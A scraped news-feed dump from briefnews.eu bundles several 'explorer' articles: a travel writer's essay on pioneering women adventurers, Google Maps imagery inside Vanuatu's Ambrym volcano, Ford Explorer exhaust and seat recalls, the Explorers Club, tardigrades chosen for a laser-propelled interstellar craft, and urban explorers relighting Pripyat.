Lola Akinmade Åkerstrom

If you took pop culture as gospel, you’d think the only people who take on any pioneering exploits were posh, hairy, white men. But plenty of badass women have grabbed adventure by the horns over the centuries too.

There are two definitions for the term ‘pioneer’ in the modern Oxford English Dictionary. The first description is of a person who is “among the first to explore or settle a new country or area”. The second describes someone “among the first to research and develop a new area of knowledge or activity”.

Judging by these descriptions, it’s abundantly clear that pioneers of adventure travel still exist all around us. And included on that list of pioneers are plenty of women who have been accomplishing amazing feats throughout history—and continue to right up to the current day.

Women who have battled against all odds to show that the impossible is nothing but a mental boundary we create for ourselves. Women who have helped clear the way and made it easier for the rest of us. Women who are inventing technology that’s changing the travel photography industry—and even opening up platforms to continue to lift up the diverse voices of women in adventure travel.

RELATED: When will the travel industry champion more diversity?

If you asked me to name at least five women who pioneered adventure over time, the very first one that comes to mind is Amelia Earhart, the American aviator. She became the first woman to fly solo across the Atlantic in the early 1900s and her plane mysteriously disappeared in 1937 during a bold attempt to circumnavigate the earth.

Eighty years later and Amelia’s is still the first name that comes up when I think of women adventurers—mostly because her story has been covered across all forms of media for so long and in so many ways. While Earhart was certainly a forerunner, this also shows how dated our collective views and definition of the word ‘pioneer’ can still be when it comes to adventure and adventure travel. I firmly believe that the spirit of adventure is as diverse as we all are, and shouldn’t be narrowly defined to a single stereotype, be it gender, race or anything else.

In 1921, African-American pilot and pioneer Bessie Coleman became the first black woman to obtain a pilot’s license and fly in the United States. Adding to her badass credits, she specialized in aerial stunts and parachuting, but died in a tragic plane accident in  in 1926 during rehearsals for an upcoming airshow.

When I started my research for this piece, I came across even more of these fascinating women pioneers across history and well into modern times. Women who epitomized courage, tenacity, energy. While I wish I could share all their stories here, I’ve picked a few I wanted to highlight.

The proliferation of round-the-world (RTW) tickets can literally take backpackers around the world in a matter of days. The 20th-century American investigative journalist Elizabeth Jane Cochrane (aka Nellie Bly) was inspired by French author Jules Verne’s novel, Around the World in Eighty Days, and set out to match the feat. Except Bly accomplished her goal over a week faster and chronicled the adventure in her book, Around the World in Seventy-Two Days, published in 1890.

Now, there are so many jokes I could crack about women getting things done quicker than men. But I’ll refrain (for now).

While we’re on the topic of circumnavigation, in 1985 Tania Aebi, at the mere age of 18, set sail around the world—solo—on her boat Contessa 26 Varuna, covering a distance of 27,000 miles (43,452 kilometers). When I think back to what I was doing at 18 years old, it probably involved a sofa and some chicken wings—not a boat and 27,000 miles.

RELATED: Meet the women changing travel

I once had lunch with a Swedish friend who was about to embark on a cycling trip around the world. At the time, while his feat was certainly impressive, it didn’t seem impossible because so many people have accomplished the very same over the years. But reflecting back on that conversation, it got me thinking about Latvian immigrant Annie Cohen Kopchovsky (aka Annie Londonderry), who was already a mother of three young children when she decided to bike around the world (with a few steam ferry crossings in-between) in 1894.

What intrigued me the most about Annie Londonderry—who changed her name from Kopchovsky for safety reasons while traveling—wasn’t her amazing adventure, but the fact that she also had her young children at the time.

As a mother myself, to two small kids, who also happens to love adventure and enjoys working as a travel writer and photographer, it’s inspiring to see role models who have paved the way against a backdrop of judgemental whispering. Londonderry was part of the reason why I penned this ode to traveling mothers.

I was also drawn to  ‘Grandma Gatewood’. In 1955, Emma Gatewood was the first woman to hike the entire Appalachian Trail solo—a 2,050-mile-long (3,299 kilometers) feat. What made her story particularly remarkable was the fact that she did this at the age of 67—while being a mother of 11 children and grandmother to 23. Sadly, ageism still exists and often, older adventurers—pioneers though they may be—can fade into the background while the young and the rugged are pushed into the limelight.

Another older adventurer was  African-American adventurer Barbara Hillary, who trekked to both the North and South Poles in her late 70s—and became the first black woman to do so.

As a lover of  husky sledding—I’ve tried it in Sweden, Finland, and Greenland—I’d be remiss not to mention American dog musher Libby Riddles on this list of inspirational women. She was the first woman to win the legendary Iditarod Trail Sled Dog Race, a 1,100-mile (1,770 kilometer) trans-Alaska race.

And if space is the final frontier of travel, then Mae Jemison already paved the way for thousands of African-American girls by being the first black female astronaut,  flying into space aboard NASA’s Endeavour in 1992.

Back on earth, summiting Everest remains the epitome of human achievement and Japanese mountaineer Junko Tabei was the first woman to reach its peak. That iconic black-and-white Associated Press photo of Tabei—taken in 1975 as she held the Japanese flag while kitted up in full expedition gear and an oxygen mask—has since become a a powerful visual metaphor for me.

Looking at that image, you can’t really tell if it was a man or woman behind that mask. And as the women mentioned here are a testament to, adventure truly is for all of us.

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]]> https://briefnews.eu/rugged-white-guys-with-beards-nope-most-of-my-favorite-explorers-are-women/feed/ 0 Google maps sent explorers into a live volcano and THIS is what they found https://briefnews.eu/google-maps-sent-explorers-into-a-live-volcano-and-this-is-what-they-found/ https://briefnews.eu/google-maps-sent-explorers-into-a-live-volcano-and-this-is-what-they-found/#respond Tue, 06 Mar 2018 15:28:32 +0000 http://briefnews.eu/google-maps-sent-explorers-into-a-live-volcano-and-this-is-what-they-found/

Ambrym, in the Malampa Province, is an active volcanic island and can be found of Google Maps.

According to Volcano Discovery, Ambrym volcano was last recorded erupting in February this year. 

The island’s main volcano is 12-km wide and is one of the most active volcanoes in the world. 

However, thanks to Google, no longer is it just the most thrill-seeking adventurers that can experience this natural wonder.

Since 2005, Google Maps has been bringing action and adventure into the public’s home with its handy world search tool. 

In March last year, Google sort out the help of volcano explores Geoff Mackey and Chris Horsly who climbed down 1,300 feet into the volcano whilst wearing Google’s 360-degree cameras. 

Now the public can virtually explore inside the active volcano – leaving the harnesses well alone. 

Footage captured from Google, reveals the sheer size of the volcano in comparison to a man sitting at the edge.

The lava lake itself is roughly the size of two football pitches but together. 

In a news statement, Geoff explained: “It’s like looking into the surface of the sun”. Horsey added: “By putting this place on the map, people will realise what a beautiful world we live in.”

Amazingly the volcano is not the only thing on the island, 7,000 people live in the rainforest at the bottom of the volcano.

On more than one occasion, the erupting volcano has threatened the livelihoods of the Endu village.

This isn’t the first time Google has captured a fire phenomenon.

The Darvaza Gas Crater referred to as “Door to Hell” and been burning for 40 years and baffles scientists. 

The burning fire pit is 226 ft in diameter and 98 ft deep and acts as an enormous natural gas fire. 

The site in the Karakum Desert in Turkmenistan is a popular tourist site but can now be visited by all.

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]]> https://briefnews.eu/google-maps-sent-explorers-into-a-live-volcano-and-this-is-what-they-found/feed/ 0 Ford again urged to recall Explorers for exhaust leaks before 'luck runs out' https://briefnews.eu/ford-again-urged-to-recall-explorers-for-exhaust-leaks-before-luck-runs-out/ https://briefnews.eu/ford-again-urged-to-recall-explorers-for-exhaust-leaks-before-luck-runs-out/#respond Wed, 24 Jan 2018 21:55:23 +0000 http://briefnews.eu/ford-again-urged-to-recall-explorers-for-exhaust-leaks-before-luck-runs-out/

A prominent automotive safety advocacy group is renewing its call for Ford to recall 1.3 million Explorer SUVs from model years 2011 through 2017 amid rising complaints that dangerous carbon monoxide is leaking into the cabins and causing headaches, nausea, vomiting and other ailments.

The Washington D.C.-based Center for Auto Safety says complaints to the National Highway Traffic Safety Administration about the Explorer have risen 900 percent since the federal agency first began investigating the matter in July 2016. NHTSA has now received at least 1,381 complaints from Explorer drivers and passengers about exposure to carbon monoxide, an odorless gas whose symptoms mimic those of the flu and is responsible for more than 400 deaths per year in the United States. The group’s executive director, Jason Levine, wrote a letter to Ford CEO Jim Hackett in which he noted the issue has not resulted in any deaths but concluded, “the time for Ford to take more serious action is now, before that luck runs out.”

NHTSA opened a preliminary evaluation of Explorers from model years 2011 and 2015 in July 2016, then expanded its inquiry a little over a year later to an engineering analysis, adding Explorers from the model years 2016 and ’17, saying it had received more complaints, including three crashes and 39 injuries. It said the most likely culprit was cracked exhaust manifolds. NHTSA first began looking into the issue in 2014.

Ford in October offered a no-cost service to North American owners of more than 1.4 million Explorers to make repairs and inspections to lessen the risk of exhaust-fume leaks. At the time, it said its own investigation had found no evidence of leaks and believes the vehicles were safe. The company has issued four technical service bulletins related to exhaust odors.

Ford continues to defend its decision not to issue a recall.

“Explorers are safe,” Ford spokeswoman Elizabeth Weigandt said in a statement. “Ford’s investigation and extensive testing has not found carbon monoxide levels that exceed what people are exposed to every day. The safety of our customers is paramount. We encourage customers with carbon monoxide concerns to bring their vehicle to their local Ford dealer for a free service designed to reduce the concern. If they are not satisfied with the service, we encourage them to call our dedicated hotline at 888-260-5575.”

In its own statement, Jason Levine, the executive director of the Center for Auto Safety, said Ford needs to stop sending “mixed messages” to Explorer owners and passengers. “Since some Ford dealers are responsibly replacing cracked exhaust manifolds, it is time for Ford to take a more serious step, recall all of these vehicles, and inspect and replace cracked exhaust manifolds,” he said.

Related Video:

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]]> https://briefnews.eu/ford-again-urged-to-recall-explorers-for-exhaust-leaks-before-luck-runs-out/feed/ 0 Inside the ultra-elite Explorers Club that counts Elon Musk, Jeff Bezos, and James Cameron as members https://briefnews.eu/inside-the-ultra-elite-explorers-club-that-counts-elon-musk-jeff-bezos-and-james-cameron-as-members/ https://briefnews.eu/inside-the-ultra-elite-explorers-club-that-counts-elon-musk-jeff-bezos-and-james-cameron-as-members/#respond Sun, 31 Dec 2017 00:24:25 +0000 http://briefnews.eu/inside-the-ultra-elite-explorers-club-that-counts-elon-musk-jeff-bezos-and-james-cameron-as-members/ Explorers4x3Harrison Jacobs/Business Insider; Reuters

  • The Explorers Club is an ultra-elite club in New York that serves as a meeting place for explorers, scientists, and the moneyed-elite who fund expeditions.
  • Its members include astronaut Buzz Aldrin, President Teddy Roosevelt, Tesla CEO Elon Musk, Amazon CEO Jeff Bezos, and film director James Cameron.
  • The Manhattan clubhouse is filled with priceless artifacts and ancient documents.

 

World history is full of secret clubs with elite members, like the Freemasons and the Illuminati. Shrouded in mystery, these clubs become the stuff of legend.

In a lavish Upper Manhattan townhouse lies the headquarters of a legendary, though far less secretive society — The Explorers Club.

Founded in 1904, The Explorers Club is a professional society that serves as a meeting place for explorers, scientists, and just about anyone with an interest in scientific exploration. The Explorers Club funds, promotes, and assists in expeditions around the world.

The club’s current and historical members include astronauts Buzz Aldrin and Neil Armstrong, film director James Cameron, Space-X  and Tesla founder Elon Musk, Amazon CEO Jeff Bezos, President Teddy Roosevelt, and aviator Charles Lindbergh.

The Explorers Club invited Business Insider in 2014 to take an exclusive look inside the historic club.

The Explorers Club is located on East 70th Street in Manhattan near Central Park. The house’s Jacobean facade makes it instantly recognizable.

Harrison Jacobs/Business Insider

The Explorers Club headquarters was originally the home of Stephen C. Clark, the heir to the Singer Sewing Machine fortune and founder of the Baseball Hall of Fame. Club member and famous writer Lowell Thomas later bought the house and gifted the property to the club.

Harrison Jacobs/Business Insider

The front sitting room is suffused with history, including many 15th- and 16th-century fixtures from Europe. The wood coffee table was originally a hatch cover on the USC&GS Explorer, a survey ship and research vessel that was one of the few ships to survive the 1941 Pearl Harbor attack.

Harrison Jacobs/Business Insider


See the rest of the story at Business Insider

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]]> https://briefnews.eu/inside-the-ultra-elite-explorers-club-that-counts-elon-musk-jeff-bezos-and-james-cameron-as-members/feed/ 0 Ford Recalls 177,000 2016 F-150s and Explorers for Loose Seat Mounting https://briefnews.eu/ford-recalls-177000-2016-f-150s-and-explorers-for-loose-seat-mounting/ https://briefnews.eu/ford-recalls-177000-2016-f-150s-and-explorers-for-loose-seat-mounting/#respond Sat, 02 Dec 2017 05:45:26 +0000 http://briefnews.eu/ford-recalls-177000-2016-f-150s-and-explorers-for-loose-seat-mounting/ 2016 Ford Explorer Platinum

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Ford is recalling 177,264 trucks and SUVs in the United States for loose seats. The automaker said the 2016 F-150 and Explorer have front power-seat sliding tracks that may have loose bolts, which could cause the seat to move excessively in a crash.

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Full details, including when Ford discovered the defect and how it attempted repairs, were not available from the National Highway Traffic Safety Administration (NHTSA). Dealers will check the torque applied to the “upper pivot link bolt,” take it out, clean it, coat it with adhesive, and bolt it back. That’s if the bolt was tightened to factory spec. If not, Ford will replace the link assembly with new fasteners and bushings.

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2018 Ford Expedition Platinum

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Another 462 examples of the 2018 Expedition have second-row seats with potentially loose bolts that may cause the seatbacks to move in a crash. They may also have bad latches that can allow passengers to tilt too far forward. Dealers will install new seat frames and bolts or only one part “if required.” Ford says it knows of no injuries or accidents related to these bolt-tightening flaws.

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Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/ford-recalls-177000-2016-f-150s-and-explorers-for-loose-seat-mounting/feed/ 0 Earth’s 1st interstellar explorers have been chosen, and they’re tiny https://briefnews.eu/earths-1st-interstellar-explorers-have-been-chosen-and-theyre-tiny/ https://briefnews.eu/earths-1st-interstellar-explorers-have-been-chosen-and-theyre-tiny/#respond Sat, 04 Nov 2017 02:34:14 +0000 http://briefnews.eu/earths-1st-interstellar-explorers-have-been-chosen-and-theyre-tiny/ The Starlight program has selected both tardigrades and a species of roundworm as the Earth’s first interstellar voyagers who will cross the solar system at relativistic speeds on a laser-powered craft.

“It will not be easy,” said Philip Lubin, head of the Starlight program at the University of California, Santa Barbara (UCSB), as cited by Space.com. “There are many difficult technical issues. It will not be cheap. But it is possible.”

“We are developing the capability to test whether terrestrial life as we know it can exist in interstellar space by preparing small life-forms … C. elegans and radiation-resistant tardigrades … which are ideal candidates to be our first interstellar travelers,” Lubin added.

Lubin, with support from NASA and in conjunction with his colleagues and students, founded the Starlight program, also known as DEEP IN (Directed Energy Propulsion for Interstellar Exploration) as part of NASA’s far-reaching plan for space travel, also known as DEIS (Directed Energy Interstellar Studies).

Read more

© NASA Jet Propulsion Laboratory

The project aims to use lasers to propel tiny spacecraft at close to relativistic speeds, roughly a quarter the speed of light, in the hopes of launching the first terrestrial interstellar mission, even if humans don’t actually get to ride along. Once such speeds are reached, the microscopic team of nematodes and tardigrades could theoretically reach our closest interstellar neighbor in roughly 20 years. For context, Earth’s farthest traveller is Voyager 1 which has taken almost 40 years to reach the edge of our solar system, let alone make it to the next.

Both the nematodes and tardigrades (also known as water bears, moss piglets or space bears) are capable of enduring extraordinary physical hardship which makes them uniquely qualified for such a high-stakes mission. Both creatures have been shown to survive in: extreme temperature environments (tardigrades can be frozen for years at a time and reanimated with little to no lasting damage), the vacuum of space, high acceleration (tens of thousands of g-forces) while also withstanding high doses of radiation, a critical strength for any organic life to survive space travel. Tardigrades in particular are so tough that some scientists think they’ll live on even after the end of life on Earth.

Read more

Acutuncus antarcticus, an individual representing the SB-3 strain, showing Chlorella sp. inside its stomach © sciencedirect.com

“Besides being microscopic, and thus conveniently fitting on our first interstellar wafer craft, they can be frozen and put into a state of anhydrobiosis, meaning they can be dehydrated and put into suspended animation,” the team wrote on the project website. “When they are re-hydrated, they wake up as good as new!”

“Clearly, there are many technical challenges. This is a long-term humanity-changing program,” Lubin said. “The biggest challenge is that NASA, the U.S. government, does not plan 30 to 50 years ahead in space. Perhaps a public/private alliance is needed. Similarly, what may be required is a new division of NASA or new agency whose mandate is interstellar flight.”

Scientists plan to study the creatures periodically throughout the journey to determine how viable interstellar travel is for biological Earth-based organisms.

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]]> https://briefnews.eu/earths-1st-interstellar-explorers-have-been-chosen-and-theyre-tiny/feed/ 0 ‘Bringing dead city back to life’: Urban explorers turn on Chernobyl lights (PHOTOS) https://briefnews.eu/bringing-dead-city-back-to-life-urban-explorers-turn-on-chernobyl-lights-photos/ https://briefnews.eu/bringing-dead-city-back-to-life-urban-explorers-turn-on-chernobyl-lights-photos/#respond Sat, 06 May 2017 20:39:16 +0000 http://briefnews.eu/bringing-dead-city-back-to-life-urban-explorers-turn-on-chernobyl-lights-photos/

Two Polish urban explorers have lit up the city of Pripyat which was abandoned after the nuclear disaster at the Chernobyl power plant in 1986.

Krystian Machnik and Adam Bojanowski, who are founders of an online group that visits and documents sites contaminated with radioactivity, say they were driven to make the pilgrimage to the site of the world’s worst-ever nuclear accident by “curiosity.”

They added that they did not want to take the same photos that had been captured by thousands of other tourists. Instead, the pair then decided to bring a portable gas generator to the exclusion zone to conduct an experiment and a commemoration.

“It is a matter of life and death – the city had died, and we wanted to return life to it,” Machnik told RT.

Their problems weren’t just a lack of certainty that they would be able to switch the lights back on, but also the need to find buildings and streets where lamps hadn’t been looted or destroyed.

They chose a school inside the former model Soviet city, purpose-built to serve the needs of the power plant which they say had been preserved best.

The two turned on their generator and connected it to the grid.

“We knew that something was going to happen, but we weren’t prepared for what did,” recalls Bojanowski.

“For a few seconds the lights strobed, and then they all suddenly went on, for the first time in 30 years. It’s hard to surprise me, but I was just walking with my mouth agape,” says Machnik.

“It was euphoria,” adds Bojanowski.

Machnik and Bojanowski methodically combed the city – re-animating street lights, salvaging the remaining letters of shop signs, and indoor lights within warehouses.
For all the talk of “showing the city as it once was, and proving that the technology still works”, they admit that in actual fact, they are more like archivists – for all the talk of Pripyat being unchanged from 1986, it is actually falling apart.

“There is water pouring down walls, and continuous freezing cycles are making them burst. The papers are rotting. You can notice the changes from month to month, and in 10 years there may be nothing of this left,” says Machnik. “We have to hurry – these photos are important, because soon no one will be able to see what we see, so we have to make use of it while we can.”

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RT – Daily news

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